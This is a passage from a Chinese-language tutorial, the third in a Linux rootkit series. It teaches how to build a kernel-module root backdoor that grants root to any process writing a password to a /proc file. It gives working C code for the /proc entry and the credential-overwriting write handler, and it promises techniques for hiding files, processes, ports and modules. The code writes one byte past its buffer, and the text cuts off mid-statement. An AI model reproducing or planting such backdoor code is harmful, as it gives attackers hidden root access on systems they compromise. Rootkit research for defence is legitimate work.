IT技術互動交流平臺

Linux Rootkit系列三:實例詳解 Rootkit 必備的基本功能

作者:佚名  發布日期:2016-07-01 22:11:49

本文所需的完整代碼位于筆者的代碼倉庫:https://github.com/NoviceLive/research-rootkit。
測試建議: 不要在物理機測試!不要在物理機測試! 不要在物理機測試!
概要
在 上一篇文章中筆者詳細地闡述了基于直接修改系統調用表 (即 sys_call_table /ia32_sys_call_table )的掛鉤, 文章強調以代碼與動手實驗為核心。
長話短說,本文也將以同樣的理念帶領讀者一一縷清 Rootkit 必備的基本功能,包括提供 root 后門,控制內核模塊的加載, 隱藏文件(提示:這是文章的重點與核心內容),隱藏進程,隱藏網絡端口,隱藏內核模塊等。
短話長說,本文不打算給大家介紹剩下的幾種不同的系統調用掛鉤技術:比如說,修改 32 位系統調用( 使用 int $0x80 ) 進入內核需要使用的IDT (Interrupt descriptor table / 中斷描述符表) 項, 修改 64位系統調用( 使用 syscall )需要使用的MSR (Model-specific register / 模型特定寄存器,具體講, 64位系統調用派遣例程的地址位于 MSR_LSTAR );又比如基于修改系統調用派遣例程 (對 64 位系統調用而言也就是entry_SYSCALL_64 ) 的鉤法; 又或者,內聯掛鉤 / InlineHooking。
這些鉤法我們以后再談,現在,我們先專心把一種鉤法玩出花樣。上一篇文章講的鉤法,也就是函數指針的替換,并不局限于鉤系統調用。本文會將這種方法應用到其他的函數上。
第一部分:Rootkit 必備的基本功能
站穩,坐好。
1. 提供 root 后門
這個特別好講,筆者就拿提供 root 后門這個功能開刀了。
大家還記得前段時間 全志 (AllWinner ) 提供的 Linux 內核里面的 root 后門吧,不了解的可以看一下 FB 之前的文章,外媒報道:中國知名ARM制造商全志科技在Linux中留下內核后門。
我們拿后門的那段源代碼改改就好了。
具體說來,邏輯是這樣子的, 我們的內核模塊在/proc 下面創建一個文件,如果某一個進程向這個文件寫入特定的內容(讀者可以把這個“特定的內容”理解成口令或者密碼),我們的內核模塊就把這個進程的uid 與 euid等等全都設置成 0, 也就是 root 賬號的。這樣,這個進程就擁有了 root權限。
不妨拿 全志 root 后門這件事來舉個例子,在運行有后門的 Linux 內核的設備上, 進程只需要向/proc/sunxi_debug/sunxi_debug 寫入 rootmydevice 就可以獲得 root權限。
另外,我們的內核模塊創建的那個文件顯然是要隱藏掉的?紤]到現在還沒講文件隱藏(本文后面會談文件隱藏),所以這一小節的實驗并不包括將創建出來的文件隱藏掉。
下面我們看看怎樣在內核模塊里創建/proc 下面的文件。
全志 root 后門代碼里用到的create_proc_entry 是一個過時了的API,而且在新內核里面它已經被去掉了。 考慮到筆者暫時還不考慮兼容老的內核,所以我們直接用新的API, proc_create 與 proc_remove , 分別用于創建與刪除一個/proc 下面的項目。
函數原型如下。
# include
static inline struct proc_dir_entry *
proc_create(const char *name, umode_t mode, struct proc_dir_entry *parent, const struct file_operations *proc_fops);
void
proc_remove(struct proc_dir_entry *entry);
proc_create 參數的含義依次為,文件名字,文件訪問模式,父目錄,文件操作函數結構體。 我們重點關心第四個參數:struct file_operations里面是一些函數指針,即對文件的各種操作的處理函數, 比如,讀( read)、寫( write )。 該結構體的定義位于 linux/fs.h,后面講文件隱藏的時候還會遇到它。
創建與刪除一個 /proc文件的代碼示例如下。
struct proc_dir_entry *entry;
entry = proc_create(NAME, S_IRUGO | S_IWUGO, NULL, &proc_fops);
proc_remove(entry);
實現我們的需求只需要提供一個寫操作( write )的處理函數就可以了,如下所示。
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp);
struct file_operations proc_fops = {
    .write = write_handler
};
ssize_t
write_handler(struct file * filp, const char __user *buff,
              size_t count, loff_t *offp)
{
    char *kbuff;
    struct cred* cred;
    // 分配內存。
    kbuff = kmalloc(count, GFP_KERNEL);
    if (!kbuff) {
        return -ENOMEM;
    }
    // 復制到內核緩沖區。
    if (copy_from_user(kbuff, buff, count)) {
        kfree(kbuff);
        return -EFAULT;
    }
    kbuff[count] = (char)0;
    if (strlen(kbuff) == strlen(AUTH) &&
        strncmp(AUTH, kbuff, count) == 0) {
        // 用戶進程寫入的內容是我們的口令或者密碼,
        // 把進程的 ``uid`` 與 ``gid`` 等等
        // 都設置成 ``root`` 賬號的,將其提權到 ``root``。
        fm_alert("%s ", "Comrade, I will help you.");
        cred = (struct cred *)__task_cred(current);
        cred->uid = cred->euid = cred->fsuid = GLOBAL_RO